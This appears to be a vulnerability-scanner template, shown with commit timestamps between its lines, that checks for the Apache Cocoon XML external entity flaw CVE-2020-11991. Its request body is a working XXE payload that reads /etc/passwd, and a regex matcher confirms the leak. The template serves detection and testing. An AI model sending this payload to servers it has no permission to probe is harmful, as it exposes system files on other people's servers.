2021-02-13 07:17:02 +00:00
id : CVE-2020-11991
info :
name : Apache Cocoon 2.1.12 XML Injection
author : pikpikcu
severity : high
2021-05-12 19:24:59 +00:00
tags : cve,cve2020,apache,xml,cocoon
2021-03-15 17:09:20 +00:00
description : |
When using the StreamGenerator, the code parse a user-provided XML. A specially crafted XML, including external system entities, could be used to access any file on the server system.
reference : https://lists.apache.org/thread.html/r77add973ea521185e1a90aca00ba9dae7caa8d8b944d92421702bb54%40%3Cusers.cocoon.apache.org%3E
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.50
cve-id : CVE-2020-11991
cwe-id : CWE-611
2021-02-13 07:17:02 +00:00
requests :
- method : POST
path :
- "{{BaseURL}}/v2/api/product/manger/getInfo"
headers :
2021-08-19 14:25:01 +00:00
Content-Type : "text/xml"
2021-02-13 07:17:02 +00:00
body : |
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<userInfo>
2021-02-13 08:02:07 +00:00
<firstName>John</firstName>
2021-02-13 07:17:02 +00:00
<lastName>&ent;</lastName>
</userInfo>
matchers-condition : and
matchers :
- type : regex
regex :
2021-07-24 21:35:55 +00:00
- "root:.*:0:0"
2021-02-13 07:49:37 +00:00
2021-02-13 07:17:02 +00:00
- type : status
status :
- 200